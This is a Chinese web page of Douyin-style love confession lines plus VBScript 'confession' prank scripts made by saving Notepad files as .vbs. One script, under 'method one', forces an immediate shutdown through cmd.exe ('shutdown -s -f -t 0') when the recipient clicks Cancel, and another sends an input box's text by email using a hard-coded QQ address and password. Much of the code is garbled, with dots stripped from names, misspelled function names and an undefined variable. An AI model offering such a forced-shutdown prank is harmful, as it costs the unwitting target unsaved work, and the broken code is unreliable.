想制作个.vbs文件,点击第一个询问是本人不,第二个输入问题。

想制作个.vbs文件,点击第一个询问是本人不,第二个输入问题。,第1张

do while true

if msgbox("询问",vbyesno)=vbyes then

msgbox "内容2"

exit do

end if

loop

抖音上的套路表白有哪些?这两年年轻人都喜欢刷抖音,哪些下面这些抖音表白代码技能怎么能错过呢?想要表白的赶紧学起来吧。

一、抖音套路表白

1我从不吃醋,除了为你。

2你不需要做什么。只要存在。

3慢热的人,像白开水,最长情。

4从今日开端我茹素,由于你是我的菜

5爱一个人不会太久,太阳下山我就走。

6我告诉你,我不喜欢等,我只喜欢你

7你跑的快吗。很快啊。那我追的到你吗。

8世上万千变化,在我心里,你是没变的。

9说好的一世一双人,你却失言揽他人入怀。

10本以为我是你的例外,可你只视我如过客。

11这座城市风很大,孤独的人总是晚回家。

12你是属什么的;虎;不对,你是属于我的。

13你的过去我来不及参与,你的未来我奉陪到底。

14你有地图吗。怎么了。我在你的眼睛里迷路了。

15你会弹吉他吗。不会啊;那你怎么拨动了我的心弦。

16你有打火机吗。没有啊;那你怎么点燃的我的心。

17你能够对我笑一下吗。为何。我这杯咖啡忘放糖了。

18(一同喝工具)好甜啊。也不怎样甜啊。我说的是你。

19别放慢歌,别故地重游,别喝酒半醉,别再想他。

20‘你可以帮我一个东西吗。’"洗什么。"‘喜欢我

21我感觉你今天怎么这么怪啊。哪里怪了。怪好看的。

22对于世界而言,你是一个人;但是对于我,你是我的整个世界。

23你知道泰语 撒那嘿呦是什么意思吗。;我爱你;我也是。

24美女,跟你问一下,那条路怎么走。哪条路。通往你心里的路。

25你是我枯水年纪里的一场雨,你来的酣畅淋漓,我淋的一病不起。

26我喜欢你,如微风徐徐,如温阳媚丽,如山间小溪,如过桥人家,如你。

27对你的思念犹如长江之水滔滔不绝,又如黄河泛滥一发而不可收拾。

28问你一个问题,你知不知道这个世界上最幸福的门是什么门。心门。错,是我们。

29世上最遥远的距离,不是生与死的距离,不是天各一方,而是我就站在你面前,你却不知道“我爱你”。

30“山无棱,天地合,才敢与君绝。”你笑着问如果真的有一天发生了我会怎么办,当然是再把你追回来了啊。

二、抖音表白代码

1新建一个文本 输入代码

2鼠标左键点击文本左上角文件,再点击另存为。

3点击后会弹出以下窗口,文件名改成:表白示例vbs,保存类型改为:所有文件,然后点击确定。

4点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。

方法一:

msgbox("做我女朋友好吗?")

msgbox("房产证写你名字")

msgbox("保大")

msgbox("我妈会游泳")

x=msgbox("做我女朋友好不好",VbOkCancel)

if x=VbOk then

msgbox("爱你,么么哒")

elseif x=VbCancel then

msgbox("哼,再见")

set ws=createobject("wscriptshell")

wsrun"cmdexe /c shutdown -s -f -t 0"

end if

使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。

方法二:

直接在电脑上打开一个记事本

输入一下内容

asgbox(“做我女朋友好吗?”)

hsgbox("房产证上写称名”)

asgbox("保大”)

hsgbox("我妈会游泳)1

文字可以任意输入

保存在桌面上

将记事本的后缀改成vbs,打开文本即可跳出对话框界面

将输入的内容作为邮件内容发动,发邮件:

'═════代═══码═══开═══始═════

Set Email = CreateObject("CDOMessage")

a=inputbox("邮件的内容","","")

strName = ""

EmailFrom = "1234567890000@qqcom" '你的qq邮箱

pass="1234567890"'你的qq密码

EmailTo = "1234567890000@qqcom" '目的地址

EmailSubject = ""

EmailTextbody =a

with EmailConfigurationFields

Item(strName & "sendusing") = 2

Item(strName & "smtpserver") = "smtpqqcom"

Item(strName & "smtpserverport") = 25

Item(strName & "smtpauthenticate") = 1

Item(strName & "sendusername") = qq

Item(strName & "sendpassword") = pass

Update

End With

Emailsend

'Created By escortmnm from VBS团队

'═════代═══码═══结═══束═════

欢迎分享,转载请注明来源:表白网

原文地址:https://h5.hunlipic.com/biaobai/3981765.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2024-04-07
下一篇2024-04-07

发表评论

登录后才能评论

评论列表(0条)

    保存